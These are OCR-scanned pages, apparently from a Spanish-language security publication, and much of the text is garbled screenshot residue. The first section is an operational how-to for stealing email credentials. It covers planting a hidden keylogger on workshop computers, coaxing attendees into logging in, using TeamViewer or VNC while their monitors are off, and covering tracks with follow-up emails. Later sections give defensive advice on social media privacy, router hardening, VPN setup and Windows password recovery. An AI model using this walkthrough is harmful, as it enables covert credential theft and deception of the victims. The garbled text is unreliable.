identidad, el ciberdelincuente se 
centra en el robo de sesiones de 


; P Estación_AT 
dos sistemas típicos: el correo pin a 
electrónico y las redes sociales. VA 
m Gi ia Robo de 
Esto se puede hacer utilizando E credenciales de 
; od ‘ ‘ E-mail por medio 
la ingenieria social en conjunto | | de Keylogger 
con el uso de herramientas tipo E REPRE {rikaa 
keylogger. Una de las técnicas 2. Registrar (Excel, DB, etc) 


empleadas para el ataque se 3. Asegurar acceso (E-mail) 
describe a continuación. 

Antes de iniciar, se debe partir 
de la siguiente topología de red: Conexión para el propósito del presente paso a paso. 





Adaptador de LAN inalámbrica Conexión de área local* 2: 
Estado de los medios. . . . - « = medios desconectados 
Sufijo DNS específico para la conexión. "E 


Adaptador de LAN inalámbrica Wi-Fi: 


sufijo DNS específico para la conexió 
Vínculo: dirección IPv6 local. . . : 
pi 1 e E & we Kw ee ES 
Máscara de subred . . . Feo 
Puerta de enlace predeterminada 5 % 


bððc :785:8ef9:5afe/4 
10.100.15.178 
255.255.0.0 


n. 
fe8 
: 10.100.255.254 


Adaptador de Ethernet Ethernet: 


Estado de los medios. . . . = medios desconectados 
Sufijo DNS específico para “la conexión. . : 


idaptador de Ethernet VirtualBox Host—Only Network: 


Sufijo DNS específico para la conexión. . 

Vínculo: dirección IPv6 local. . . : fe8B: 95£7:56ea:c40d:d278 
DIME tome t de GS Se EE Ss y : 192.168.56.1 
Máscara de subred . . . . . « « « « « « « = 255.255.255.8 





1 Se instala un keylogger sobre la máquina que va a utilizar la víctima. Este se configura 

de manera básica y finalmente se oculta. Si se desea instalarlo en varios equipos con 

la finalidad de efectuar un hackeo masivo, es posible aprovechar una red en la que se 
conocen las direcciones IP de cada estación. 


Durante el dictado de alguna charla, 

taller o conferencia, se solicita a 

la víctima que ingrese al correo 

Google electrónico de su elección desde 

el equipo intervenido previamente. 

Para convencerla, o animarla, a 

@ He gmail.com v que lo haga, el atacante debe ser 

muy astuto. Por ejemplo, puede 

indicar que por ese medio se 

enviará cierto material didáctico 

al final de la exposición y, por lo 

tanto, es necesario utilizar la cuenta 
i para su revisión. Tenga presente 

¿Has olvidado tu contraseña? que cuando la victima ingrese 

sus credenciales, estas quedaran 

registradas en el keylogger para su 

futura manipulacion. 
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Posteriormente, se solicita 
apagar solo el monitor de onexién Extras Ayuda Comentarios introducir ID de aso 
cada equipo, mientras se 

continua con alguna actividad 


a i . | Permitir el control remoto Controlar un ordenador r... 
adicional e independiente al A 
manejo de la PC (el hacker we ID de asociado 
debe asegurarse de que todos 1199 972 114 | 
y en todo momento lleven a P Contraseña 
cabo esta acción hasta haber Osc6z4 O cere 
terminado), ya que durante ese Sane ee 
momento, él aprovechara para Acceso no presencial 
rastrear informacion via remota B: 
y extraerla mediante el uso de A 
herramientas como TeamViewer AA 


o VNC, previamente instaladas S 
oz © Listo para conectar (conexión segura) 
en su estación. 





© Emvezarmontoreo. (C) Peer movioes Op Configuración ¿y Más posibiidades Gp Ocutarel programa [Æ] Desinstalacién (Ej) Asistencia onine 
Informes 


Informe, relacionado con: miércoles, 20 de febrero de 2019 69 | X] | Buscar el renglén: 








—> 11:28:20 p. m., En la ventana "team viewer - Buscar con Google - Avast Secure Browser el usuario escribió: 
gmail -Enter- 


—> 11:31:07 p. m., En la ventana "Gmail - Avast Secure Browser” el usuario escribió: 








Luego de extraer la información requerida (en este caso, las credenciales de acceso al correo), 
el atacante procede a su registro. Durante este proceso, aprovecha para enviar el material de 
apoyo que prometió al inicio de la charla. Este último punto es crucial, pues el hacker se asegura 
de cerrar su ciclo para no levantar sospechas. Si en algún momento requiere mantener el acceso, 
puede enviar un formulario, cuestionario o encuesta, que será requisito llenar para otorgar algún 
reconocimiento, diploma o beca (y así obtener información adicional). 


€ G @ mailgoogle.com/mail/u/O/PsertKtbilzficzbrNgb WM AMEA dEn PDV 
[M Contacto | Proyect PO Catorce cursos uni BY DIY Arcade Cabine: G ACADEMY: Sequrids @ El primer programa IB Cómo calibrar ta bs 
D Tiempo después, el hacker = M Gmail A insent x 
invita a sus victimas a _ 
l o 0» 

encender su monitor, 
pues aparentemente Formulario cursos D 
no pasó nada. Como se SER 
puede apreciar, lo único para 
que aparece en pantalla UUQtGE__t_r_<= = A 


es el material de apoyo, 
quiza una encuesta de 
satisfaccion y un formulario 
solicitando un mayor 
numero de datos para el 
envio de algun tipo de 
reconocimiento. 





Todo esto se explica con la finalidad de conocer el proceso para la extraccion de datos y el robo 
de identidad. Por lo tanto, el modo en que sea utilizado es responsabilidad de quien efectua estas 
prácticas. Incluso, pueden ser para recrear el manejo de keyloggers o con propósitos educativos. 
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Como protegernos 


Hacerse pasar por otra persona, definitivamente, informacion via mensajeria instantanea, pues 

es una accion delictiva que se debe evitar. La a menudo la redes son el blanco para el robo 
pregunta es: ¿cómo? Y la respuesta es muy de datos. Incluso, se recomienda evitar la 
simple: es determinante no volcar datos tanto publicación o la difusión de algunas cadenas o 
personales como crediticios sobre formularios noticias emitidas por Twitter o Facebook (que 
públicos en ciertas páginas web, no agregar por lo regular son falsas), pues este es el punto 
amigos a las redes sociales, principalmente, si medular para la extracción de datos como correo 


no se conoce nada sobre ellos, y no proporcionar electrónico con fines maliciosos. 





Procure cambiar 
periódicamente 

la contraseña de 
acceso. Utilice 
passwords seguros 
(longitud minima 

de ocho caracteres; 
uso de mayúsculas, 
minúsculas, números y 
caracteres especiales). 






e? Ceneral 
O Seguridad 


Configuración y herramientas de privacidad 






¿Quién puede ver mis ¿Quién puede ver las publicaciones que hagas a Amgos 
B Privacidad cosas? partic de hota? 

i mografía y etiquetado 

O Boqueos 










Lirmitas ul pútstic 


Y Notificaciones ¿Quieres limitar el público de las publicar 


MISION Que 
i" 3 has compartida con los amigos Ge tus amigor O 
Movil 


[J Seguidores 






¿Quién puede ponerse en ¿Quién puede enviarte solicitudes de armastad? Todos 
contacto conmigo? 





@ soiicaciones 
¿De quién quiero filtrar los mensajes en om bandeja Filtrado basico 
e] Anuncios de entrada? 


FM Pagos 
e) Parw! de ayuda ¿Quién puede buscarme? ¿Quién puede buscarte con la dirección de correo electrónico que has 
proporcionado? 











Se apfica a las personas que ro pueden ver tu dirección de correa rnecirónxa 






La protección de las redes 
sociales es una obligación 
para cualquier usuario. 


Protección de cuentas de Instagram 


Los siguientes pasos se pueden aplicar para efectuar la configuración de prácticamente cualquier red 
social, que cuenta con una ficha de configuración de protección y seguridad. 


‘eign 1 Ingrese en su cuenta de Instagram y haga clic 
sobre el icono de configuración ubicado a un 
+ Usar OX merma O costado del botón Editar Perfil. 


Oplia une Lepe stare i apite 


ë &c1ccows 


© | Instagram 


Editar peet? 
Empeza a centrar y compartir ta momentos 
a ’ 


Deecange le api mane rumpet hy primers fees das priista 


Privacidad de la cuenta 


Cambiar contraseña 
Y: Cuenta privada 


Aplicaciones autorizadas 


Coreo ejectrónico y SMS 

Estado de actividad 
Administrar contactos 

Y Mostrar estado de actividad 


Privacidad y seguridad 


Compartir las historias 


Y Permitir compartir 


Presione sobre 


Cambiar contraseña 





Aplicaciones autorizadas la opción Comentarios 
Privacidad y 
Mentes seguridad para 
tener acceso a Fotos en las que apareces 
Eno las políticas de y aa 
privacidad de la 
— red social. Comience con la configuración de privacidad 


de su perfil. Guarde los cambios realizados. 
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Proteccion de un router 


inalambrico 





Este proyecto se centra en la proteccion de la red inalambrica 
de un hogar, oficina e, incluso, de una red corporativa, mediante 
la configuracion del dispositivo central. Se desglosan propuestas 


y se detallan otras medidas de seguridad para evitar ataques de ciberdelincuentes. 


Redes inalambricas 


Las redes inalambricas tienden a ser muy 
inseguras hoy en dia, razon suficiente por la que 
es necesario protegerlas. Para realizar esta tarea, 
debemos contar con protocolos de protección a 
nivel estructura para la red, además de diseñar 
un plan de implementación de medidas de 
seguridad viables. 

Una red inalámbrica a menudo puede ser más 
susceptible a ataques que una cableada. Esto se 
debe, básicamente, a que la transmisión de datos 


se lleva a cabo por el aire, y la mayoría de los 
atacantes aprovechan esta vulnerabilidad. 

Un par de conceptos implicados en el ámbito 
de las redes inalámbricas son: equipos 
finales y dispositivos de red inalámbrica. 

Los equipos finales pueden ser: desktop, 
servidor, laptop, tablet, celular, horno de 
microondas, TV, refrigerador, cafetera, etc. 
Los dispositivos de red inalámbrica suelen 
ser: router, switch y firewall. 





Internet of Things: cada día se conectan más dispositivos inalámbricos a Internet, 
pronto viviremos rodeados de ellos. 
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Router inalambrico 


Es un dispositivo de red doméstico que, a 
menudo, se configura para conectar una red. 
La configuracion para mantener una seguridad 


adecuada en dicha red se efectua desde la 
seccion Wireless Security. 


El esquema de medidas de seguridad para la proteccion 
de una red inalambrica debe efectuarse desde la GUI 
(Graphic User Interface) del dispositivo de red principal, 
es decir, el router. 

Para tener acceso a dicha interfaz, abrimos un 
navegador web e introducimos la dirección IP del 
dispositivo en la caja de texto de la URL. Dicha dirección 
(que figura como gateway en los dispositivos finales) 

se obtiene con la ayuda de ipconfig /all, que se ejecuta 
desde la consola de comandos del SO. 





PRE-LOGIN BANNER x 


€ X |© 10.1.233.254 


Se requiere autenticación 


Ex m 
Treme Network http//10.1.233254 neces taun 
= <25 nom A 
contraseña - omore de us 


Tu es n 
Y SONEZION con este sitio no es privada 


Nombre de usuario 


Contraseña 


Iniciar sesión 


ke =—A!| 


Proceed to login? 





Jano yu 


Cancelar 





Para acceder a la configuración 
del router debemos ingresar 

la dirección IP del mismo 

en nuestro navegador. Si no 
tenemos esta dirección (está 
en el manual del router junto 
con la clave que viene de 
fábrica), podemos obtenerla 
tipeando ipconfig /all en la 
línea de comandos. 
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Medidas de seguridad en redes inalámbricas 


Estas son algunas medidas = Cambiar los datos del login de acceso al router 

de seguridad que podemos (datos predeterminados). 

implementar para proteger m Utilizar un método de seguridad (WEP, WPA y WPA2) 
nuestra red inalámbrica: adecuado y un tipo de cifrado óptimo. 





= Cambiar / deshabilitar el nombre de difusión de la red 
por defecto (broadcasting SSID). 

= Configurar el firewall para el control de información entrante, 
saliente y su origen. 

m Añadir restricciones (permitir o denegar acceso) 
mediante el filtrado de direcciones lógicas o físicas: 
+ Filtrado por direcciones MAC. 
+ Filtrado por direcciones IP. 

m Desactivar el servicio DHCP. 

m Desactivar el acceso por WPS (WiFi Protect Setup). 

= Activar la suspensión del router (programación 
del uso del dispositivo). 


Topología de red 
para el administrador 
de la red inalámbrica. 


WITIG AAA 


Laptop-PT 
Laptopo 


WirelessEndDevice-PT 
Dispositivo Final Inalámbrico0 





TabletPC-PT 
Tablet PCO 


Opcionalmente, 

es posible cambiar 

la dirección IP 

predeterminada del Para dar comienzo, es necesario contar con un plano o 
router, aunque este topología que permita al administrador verificar el tipo 


punto no garantiza 


de dispositivo conectado y su ubicación dentro de la red. 
En este caso, se utilizará el esquema de la imagen (sobre 


la privacidad de la el que se propone explicar las medidas de seguridad 
información. expuestas con anterioridad). 
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La configuración efectuada se lleva a cabo sobre un equipo Linksys de CISCO 
(aunque es similar para cualquier otro fabricante o modelo). 


LINKSYS 


A Divan ef Caco Systeme inc 


A Divan of Ciao Syutamma irc 
Firmware Version: v0 


Wireless-N Broadband Router 
Access Applications 


Firmware Version: v0.9 
Wireless-N Broadband Router Y 


Administration Access Applications 


Wireless Setup Wireless Security 


Wireless Security 


Administration 


Adminstration Setup Wireless Security 
Management J 


Restrictions & Gaming 


Restrictions & Gaming 


Seguridad i 
are] Modo Seguridad: [WPA2 Personal 7 





Administracion 
Acceso al Rout} Contraseña del Route [EEE 
Re-Ingrese para Con eeeee 


Acceso Web| Acceso a Utilidades HTTPS 





Encriptación: AES + 


Frase constra 





Clave de Renov 3600 segundos 


Acceso a Utilidades We 


z 5 ® Habilitar Deshabilil 
Inalambrica: 





Acceso Remoto! Administración Remot: © Habilitar © Deshabili 





Acceso a Utilidades V © A continuación debe habilitar un método 

de seguridad apropiado, que garantice 

el cifrado de la clave de acceso a la red 
onian inalámbrica. La más actual es WPA2. Elija 
WPA2_Personal para la protección de la 
red de su hogar u oficina. En caso de contar 
con un servidor, deberá seleccionar WPA2_ 
Enterprise. 


Actualización Remot Habilitar Deshabili! 


Cualquier direcci 





Los routers inalámbricos, por lo 

general, incluyen una serie de datos 
predeterminados para el acceso. Entre ellos 
se encuentran el usuario admin o root y 

una contraseña que puede variar según el 
fabricante. Se recomienda modificar este 
último dato con el fin de evitar accesos no 
deseados. 


LINKSYS” 


Division of Garo Systems ire 
hs y a Firmware Version: v0.93.3 
Wireless-N Broadband Router WRT3001 
Wireless Setup Wireless Security —— Applications Administration Status 
Restrictions & Gaming 


Basic Wireless Settings 





Configuraciones 
Base 


Modo Red: Mezclado X 


Nombre de Red (SSID) 
3 Proceda a deshabilitar el Banda de Radio: Auto “> a 


SSID de su red. Esto sin ma Alo: 
duda evitará ser rastreado : 
‘ Canal Estandar: 1 - 2.412GHz 
o localizado dentro de 
una determinada área Broadcast SSID: © Habilitat — Deshabilil 


territorial. En caso de 
querer ocultar solo el 
nombre de la compania 
que proporciona el 
servicio, basta con cambiar 
el nombre de difusion. 


lar Confiqurac ancelar Cambio 
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Access Applications 


Restrictions 


Administration 
& Gaming 
JPN Passthrount 


Setup Wireless Security 


Security 


Frewal 





Firewall 


Filtrado de 
Internet 


Protección SPI Firewall: Habilitado Deshabilitad 





Solicitudes de filtrado anónimo de 
Filtro Multicast 
Redireccionamiento de Filtrado de 


Filtro IDENT (Port 1 


Filtrado Web 


Los routers de este tipo incorporan un 
firewall interno que controla el flujo 
de conexiones tanto entrantes como 
salientes. En este caso, se sugiere 
configurar los parámetros acorde a las 
necesidades de su red. 


Proxy Java Activex Cookies 


rdar Configura ancelar Cambio 





Applications 
& Gaming 


Access Administration 


Setup 


Set Wireless Securit 
"p : PS Restrictions 


Basic Setup 





Wireless-N DFOdUDana KOU 
Applications 
& Gaming 

Wireless MAC Fitter 


Access 
Restrictions 


Wireless Setup Wireless Security Administra 





Inalámbrica 
MAC Filter ə 


Habilitedo Deshabil 





Access o 


> @ Prevenir que les PCs listadas abajo scceden á la red inelémbrice 
Resolution 


_) Permitir PCs listadas abajo de ecceder a la red inelémt 


Dirección MAC | ta de Clientes Inslámbric 


filter list 


00:00:00:00:00:00 00:00:00:00:00:00 


00:00:00:00:00:00 00:00:00:00:00:00 
00:00:00:00:00:00 00:00:00:00:00:00 
00:00:00:00:00:00 00:00:00:00:00:00 
00:00:00:00:00:00 00:00:00:00:00:00 


00:00;00:00:00:00 00:00;00:00:00:00 





Para añadir restricciones por dirección 
MAC, es recomendable contar con una lista 
de direcciones físicas pertenecientes a los 
dispositivos que formarán parte de su red 
o, en su defecto, a las que desea negar la 
conexión. Seleccione la opción que más 

se acerque a sus necesidades. 


State 





Dirección IP Iniciz 192.168.0. 100 


YQ 


192.168.0.100 - 149 


Numero Maximo 50 
de Usuarios: 


Rango de Dirección 


minutos (0 significa un día) 


Tiempo de Rentac 9 


DNS Estatico 0 
DNS Estático 
DNS Estático 


WINS: 


Para llevar a cabo la restricción por 
direcciones lógicas, debe contar con 
un rango de direcciones IP que puede 
agregar al pool correspondiente. Tome 
en consideración que los dispositivos 





z .al 100% @ 8:00 


“AVANZADOS 






Pulsador de WPS 


Introducción de PIN de WPS 


identificados con este tipo de dirección 
son los que finalmente podrán 
conectarse a la red. 


Imagen que muestra la Mantener Wi-Fi activado durante susp.. 
opción MAC (dirección Sempr 
fisica) en un smartphone. 








Instalar certificados de red 






Dirección MAC 
(Media Access Control) 


Es el identificador de cada dispositivo utilizado en una red 
informática. En una PC (sistemas Windows, por ejemplo), este dato 
se obtiene ingresando ipconfig /all desde la terminal de comandos. 

Es un conjunto de valores en sistema hexadecimal. 


Historial de control de Wi-Fi 


Dirección MAC 






Dirección IP 







[192158 19] S 
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Automatic Configuration - DHCP y 


Nombre de Hc 
Nombre de Dor 


MTU: - Tam: (1500 


Dirección IP: 192 & 168 . 0 otk 


Mascara de Sul 


© Habilitar © Deshabilit [27 
Reservación 


192.168.0. 100 


DHCP 
Servido 


Dirección IP Iniciz 


Número Máximo 
de Usuarios: 


50 
Rango de Dirección 192.168.0.100 - 149 


Tiempo de Rentac 0 minutos (O significa un día) 








Para habilitar o deshabilitar 
el servicio DHCP, basta 
con seleccionar la opción 
deseada. Tenga presente 
que, luego de deshabilitar 
esta opción, no podrá 
asignar direcciones IP de 
manera dinámica, lo que 
implica tener una red más 
segura. 


LINKSYS” 


A Division of Qao Systema Inc 


Access 
Restrictions 


Politicas de Acceso 
a Internet 





Muchos modelos de router inalambrico cuentan 
con un modo de configuracion WPS (WiFi Protect 
Setup). Desactivar esta opcion (mediante un clic 
sobre el boton fisico del equipo) evita que algun 
atacante vulnere la red facilmente. Se recomienda 
resguardar la clave que viene por default en esta 
gama de dispositivos. 


Firmware Version: v0.93.3 
Wireless-N Broadband Router WRT300N 
Applications 
& Gaming 


Access 
Restrictions 


Setup Wireless Security Administration Status 


Internet Access Policy 


Ingresar el Nombre 











Estado: © Habilitad © Deshabil 





a | Editar Lista | (Esta politica aplica Gnicamente a 


Restricción de 


Los routers de este tipo 
permiten la programacion 
de uso de su dispositivo. 
Esto se consigue eligiendo 
los días en que el servicio 
permanecerá activo o no. 





`” Dene 


5 , Acceso a Internet durante los diasy 
o Permi 


Días: Diario 


Mie 


Tiempo © 24 Horas 


12AM v 


La dirección fisica y lógica de un smartphone 


La dirección lógica de un smartphone se obtiene desde los ajustes del teléfono, justo en la 


opción de conexión inalámbrica o red (opciones que pueden cambiar de nombre según el SO 
del equipo). 
Para obtener información sobre la MAC de un dispositivo de este tipo (al igual que en las 

tablets), hay que explorar la opción Ajustes/Acerca del teléfono/Información del hardware. 
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Creacion de una VPN 
desde Windows 
con el uso de VPNBook 





En este proyecto se propone mostrar el diseno de una VPN desde Windows con 


. el proposito de efectuar multiples actividades que van desde mantener a salvo 


la información consultada, hasta conservar el anonimato. Esta es una tarea vital 


para cualquier usuario, administrador de red o, incluso, hacker. 


Utilidades prácticas 
de una VPN 


VPN 


(Virtual Private Network) 


Conexión que forma un túnel para evitar ser 


Una conexión VPN (red privada virtual) es el 
equivalente a crear un túnel seguro entre nuestro 
equipo conectado a Internet y nuestra (u otra) 
red privada. Las utilidades prácticas que se 
pueden obtener son las siguientes: 


interceptados por conexiones del exterior. 
Se sugiere el diseño o implementación de 
este tipo de redes para garantizar la seguridad 


m Acceder a una red de trabajo o de casa 
mientras se está de viaje 

Esconder los datos de navegación 
Entrar en sitios con bloqueo geográfico 
Evitar la censura en Internet 

Proteger información 

Mantenerse en anonimato ante 
posibles ataques 


Funcionamiento 
de una VPN 


Una VPN permite al usuario conectarse a un 
servidor remoto que cifra la conexión de 
una computadora. Básicamente, actúa en 
lugar del dispositivo cuando se permanece 
en línea. 

Su cifrado es muy seguro, pues utiliza un 
algoritmo AES de 256 bits que permite al 
usuario navegar de manera anónima. A 
menudo se compara con TOR, pues ambos 
persiguen el mismo principio, aunque la 
primera opción es una solución adecuada 
por ser más rápida y segura. 
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de la información y la comunicación. 





VPNBook y Windows 


VPNBook es un servicio gratuito de 

red privada virtual, que se financia con 
publicidad y donaciones. A menudo se 
conecta a una VPN a través del cliente 
OpenVPN o una conexión PPTP. 

Este recurso web cuenta con una lista de 
servidores disponibles (de Estados Unidos, 
Canadá y Rumania) dentro del módulo 
PPTP, los cuales pueden ser utilizados a 
los efectos de establecer la conexión. El 
portal de VPNBook cuenta, además, con un 
sistema de generación de login (Username 
+ Password) para su uso y aplicación con 
sistemas operativos como Windows. 
Montar un propio servidor VPN, o crear 
una red de este tipo utilizando el sistema 
operativo de nuestra elección, siempre 
será beneficioso porque, con frecuencia, el 
usuario puede controlarlo todo. Claro que 
esta tarea puede demandar cierto tiempo. 


@ What is my IP address? È Free VPN + 100% Free PPTP an 


& 
4 DIY Arcade Cabinet 


VPNBook Free VPN Free Web How-To Features Privacy 


setup 


Free VPN 


Our Free VPN (Virtua 
with the 


= PPTP and OpenVPN Unblock Websites 100% Free 
> No Registration Required! Surf the Web anonymously Why Pay For VPN Service Again? 


Free OpenVPN and PPTP VPN 


Choose your preferred VPN type below for access detalls. No registration or sign-up is required! 





1 Ingrese al portal de VPNBook: www.vpnbook.com. Allí encontrará interesantes recursos 
y documentación referida a la manera de trabajar con los servicios que se ofrecen. 
Una vez dentro, haga clic sobre PPTP and OpenVPN. 


& VP N BOO K VPNBook Free VPN Free Web How-To 


“me PPTP and OpenVPN <> Unblock Websites 100% F 
p= No Registration Required! as surf the Web anonymously Why Pay 
Verá un menú horizontal; 
presione sobre la opción 
PPTP y explore su 


Free OpenVPN and PPTP VPN 


Choose your preferred VPN type below for access details. No registration or sign-up is required! 


5 52 Euro VPN 
Dedicated VPI s 
Our free euro VPN se contenido. Note que se 
Romania, which is one . . 
Free PPTP VPN Account (Ea LA setup, no need to download any software, works with al privacy. Our euro VPN han listado una serie de 
Windows, Mobile and PS3 Devices) censorship and get u A é í 
rvidores disponibl 
Server: PL226.vpnbook.com se do es d Spo b es 
Server: de4.vpnbook.com US & UK VPN para efectos de prueba con 
? Our free US & UK VPI ‘ » 
: y x (US VPN - zed for fast y surfing; no p2 wn ) 
Server: us1.vpnbook.com (U optimized for fast web surfing; no p2p downloading) ds VPNs. Al final de esta lista 
Server: us2.vpnbook.com (US VPN - optimized for fast web surfing; no p2p downloading) access country restri z 
Server: fr1.vpnbook.com (France VPN - optimized for fast web surfing; no p2p downloading) encontra ra u n username y 
Server: ca222.vpnbook.com (Canada VPN - optimized for fast web surfing; no p2p downloading) un password ; g ua rde estos 
Username: vpnbook one 
i ag datos para una conexion 
posterior. 
tT te > Panel de control » Redes e Internet » Centro de redes y recursos compartidos 
E Ver información básica de la red y configurar conexiones 
Ventana principal del Panel de 
control Ver las redes activas 
Cambiar configuración del p ai Tipo deacceso: Internet 
adaptador R 7 ad Grupo Hogar: Listo para crear 
Cambiar configuración de uso ld Conexiones: ait! Wi-Fi (Papanachos) 
compartido avanzado 
Cambiar la configuración de red 
~ Configurar una nueva conexion o red 
Configurar una conexión de banda ancha, de acceso telefónico o VPN; o bien configurar un 
enrutador o punto de acceso. 
j M Solucionar problemas 
A ~ Diagnosticar y reparar problemas de red u obtener información de solución de problemas. 
Firewall de Windows Ahora desde su PC, abra 
G H 
seca el Centro de redes y 
Intel® PROSet/Wireless . 
Monitor de Licencias Aspel (32 recu rSOS com pa rtidos y 


bits) 


diríjase a Configurar una 
nueva conexión o red. 


Opciones de Internet 
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Elegir una opción de conexión 


Conectarse a Internet 
Configurar conexión a Internet de banda ancha o de acceso telefónico, 


la Configurar una nueva red 


tad 
«e. Configura un enrutador o un punto de acceso nuevos. 


y Conectarse manualmente a una red inalámbrica 
sag, Conéctese a una red oculta o cree un nuevo perfil inalámbrico. 





Aparecerá un menú de opciones para 

la conexión, de las cuales debe elegir 
Conectarse a una red de trabajo. Observe 
que en la descripción se señala la alternativa 
de configurar una conexión VPN. Pulse en el 
botón Siguiente. 


¿Desea usar una conexión de la que ya dispone? 


(8) No, crear una nueva conexión 


© Sí, elegiré una conexión existente 





En esta ventana, debe seleccionar una 

de dos opciones posibles a la pregunta: 
¿Desea usar una conexión de la que ya 
dispone? En este caso, si aún no cuenta con 
alguna conexión existente, elija No, crear 
una nueva conexión. Oprima Siguiente. 


Elija ahora la forma en 
que desea conectarse. 
Para hacerlo, es 
necesario presionar 
sobre la primera 
opción: Usar mi 
conexión a Internet 
(VPN). 


¿Cómo desea conectarse? 


* Usar mi conexión a Internet (VPN) 
Conectarse mediante una conexión a una red privada virtual (VPN) a través de Internet. 


E @ D 


% Llamar directamente 
Conectarse directamente a un número de teléfono sin usar el Internet. 


w e 





El asistente de configuración 
de red solicitará datos como 
la dirección de Internet y el 
nombre de destino. Sobre 

el primer campo, escriba 

la página del servidor de 
VPNBook de su elección. 
Sobre el segundo coloque 
un nombre cualquiera que 


Free VPN How-To Features Priva 
RAA L stiri “we dent 


&VPNBOOK 


Free Web 


=e PPTP and OpenVPN 
> == ho Ace arrarion Sequiredt 


Free OpenVPN and PPTP VPN Escriba la dirección de internet a la que se conectará 


Choose your proforrod VPN typa below for accass details. Na rogisa 
El administrador de red puede derie ests dirección. 


Dirección de Internet PL225 vpnbeck.com 


News PPTP Open? 


Dedicated VPh 


Free PATA VPN Account {Easy tu setup, no need to dewrilowd eny 
¿Mita one Do Fis 


minimas oct pa; ci identifique a su red; 

» Server: ust «pnbookxom (U5 VPN - opermiad for faz web outing! F Recorder mis credenciales 

© Server: os? vpnbodk tnm (LIS VON - opted for feet wele e Tey] x Y] Pomnite que etras personas usen esta conesión en este caso: 

a Server: frlypnbeoicom ¡France VPN - oadmized for tast wen su Fete opción permite of uso de esta ronesión pera cumeparr ; 

Toñi jive aida VON opina len PAOSSA SIN VPN_USERS. Seleccione 


© Uiername: vprbook 


las casillas de verificación 
correspondientes. 

Para finalizar, presione 

el botón Crear. 


* Password: 5Se38123 


© More servers coming, 


t Thk service Is Savertiserrent and Donation based, if you enjoy th e, 
so ms can keop ths 2s a free servico and add more servers in the future 
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Redes 


Ver configuración de la conexión NEWS PPTP OpenVPN Dedicated VPN 


Free PPTP VPN Account (Easy to setup, no need to download any software, works with al 
Windows, Mobile and PS3 Devices) 


a Server: (¿IR ane) 


= Server: de4.vpnbook.com 


Modo de avión 


Desactivado 


= Server: us1.vpnbook.com (US VPN - optimized for fast web surfing; no p2p downloading) 


= Server: us2.vpnbook.com (US VPN - optimized for fast web surfing; no p2p downloading) 


op VPN_USERS 


a Server: fr1.vpnbook.com (France VPN - optimized for fast web surfing; no p2p downloading) 


a Server: ca222.vpnbook.com (Canada VPN - optimized for fast web surfing; no p2p downloading) 


a Username: vpnbook 
a Password: 5e38t23 


= More servers coming... 


Conectar 


WI-FI 
* This service is Advertisement and Donation based, if you enjoy this service, please consider de 
this as a free service and add more servers in the future. 





Activado 


La interfaz le solicitará los datos para el inicio de sesión 





F ti (username y password). Ingrese los proporcionados por 
VPNBook que previamente se han registrado. Verifique 
Note que la red creada que la conexión sea exitosa. 
8 se adhiere a la lista de 
conexiones SSID de su 
computadora. Dicha lista 
se invoca mediante un 
clic sobre el icono de Red 
ubicado a la derecha de la 7 O) Una forma de comprobar que cuenta con una conexión 
barra de tareas del sistema. cifrada exitosa (o túnel VPN) es verificando su 
Elija la red VPN_USERS y dirección IP pública en Internet desde cualquier página 
presione en Conectar. web que ofrezca este servicio. Se sugiere probarla sin 


conexión, y desde luego, una vez conectado a ella. 


Con conexión VPN 


Feco VPN + MITA Free PRTP an . 


https, /‘awehanstytit.com/: 


a A uf I ora i abure B ACANFA™ Sem 


terce curses un ACADEMY: Seay i! onmer programe a. = Gris yu 
a f 


Home 


i) WHAT IS MY IP ADDRESS? D WHAT IS MY IP ADORESS? 


IP address IP address 


189.203.27.20 51.68.152.226 
Country Mexico Country ES United Kingdom 


0015 > 
Hostname 120-139 Hostname n:31121395.1p-51.69.152.041 


SEO Tools À 
User-Agent Morta’s.0 (Vérdows NI 6,3: VAOVA Apolevebk ws User Agent Mozillz/5.0 (Windows NT 6.3; WOVWES Appie/d2abKIUS37 


Crrome/639.0.3497_81 Sarari/337 36 Avasy/69.0.792 81 Chrome69.0,3497.81 Safor527.36 Avast U. 752,8 


Accept: text/htmiapolication/xhtm+xmlapeication/xmigq-0.9 Accept retry appl cal Atemi- appl cation/xemiqe2n 2 
Accept-Encoding: zip. deflate. br Accept-Encoding gzip. defiate, 2 
Arcepi Language FG 01 =71,9 Accept-Language: Es-ES.e5:0-09 


You're not browsing through a Proxy, your reai 1? ase You're not browsing through o Prox 


roxy Pr Detection 
Proxy Detection Aiaran Sa the proxy, 





1 Todo lo expuesto anteriormente puede ser de gran utilidad 
para evitar ataques MITM o derivados. Es por eso que resulta 
importante mantenerse protegido ante la inminente necesidad 
de comunicarse, enviar información confidencial y compartir 
recursos; incluso, para conservar el anonimato. 
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Recuperar el acceso 
a sistemas Windows 
con Trinity Rescue Kit 





Trinity Rescue Kit 

Este recurso es una interesante herramienta que, 
entre otras cosas, permite recuperar información 
eliminada, clonar sistemas, recuperar particiones 
e, incluso, restaurar accesos al sistema tras 
haber olvidado la contraseña. Se trata de una 
distribución de GNU-Linux cuya interfaz es en 
modo texto. 

Antes de iniciar el procedimiento para la 
recuperación de acceso a un sistema Windows, 
se sugiere contar con un CD Boot (0, en su 
defecto, USB Boot) de la distribución Trinity 
Rescue Kit, además de realizar la configuración 
necesaria (orden de arranque de dispositivos) 
sobre el Setup del equipo para efectos de carga. 


Trinity Rescue Kit 3.4 build 367 


in failsafe mode (No menu, UGA, noacpi, noapic) 
ruming from RAM (best >= 512mb, 256mb min) 

— Run ’melone’ in client mode (1) 

in simple UGA mode (debugging of kernel output) 
with Belgian keyboard (use menu for other) 

— Virusscan all drives (Clamay, non interactive) 
— Try more pcmcia and usb nics (when not detected 
— Try more SCSI drivers (when disks not detected) 
with a secure shell server enabled 

— Execute local scripts on hardduá 

as bootserver to boot other TRK 

- Fileshare all drives as que 

— Single user mode (no menu) 

- Acpi=off, noapic PCI=bioS & 

- Acpi=off, noapic PCI=any TF 

- PCI=conf2 (Alternate bopt 3 

— Verbose startup for debiige 


WONT RWN RES 


3. 
3, 
de 
J; 
a 
= 
< 
d 
d; 
F; 
3. 
de 
de 
de 
aie 
x 
as 


Habiendo configurado previamente el Setup 
del equipo en cuestion, y una vez reiniciado, 
aparece en pantalla un menu en modo 

texto compuesto por multiples opciones. 
Seleccione Run Trinity Rescue Kit 3.4 
(default mode). 
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En el presente proyecto se explican los pasos para la recuperacion de accesos 
en sistemas Windows, luego de haber extraviado la contrasena del administrador. 
Para llevar a cabo esta actividad se hara uso de la distribucion Trinity Rescue Kit. 


Olver Larue Ea Genel 54 0 - Vere Player (Non vorrmirca! osu only) 


Otro usuario 


Esta primera imagen muestra el inicio de 
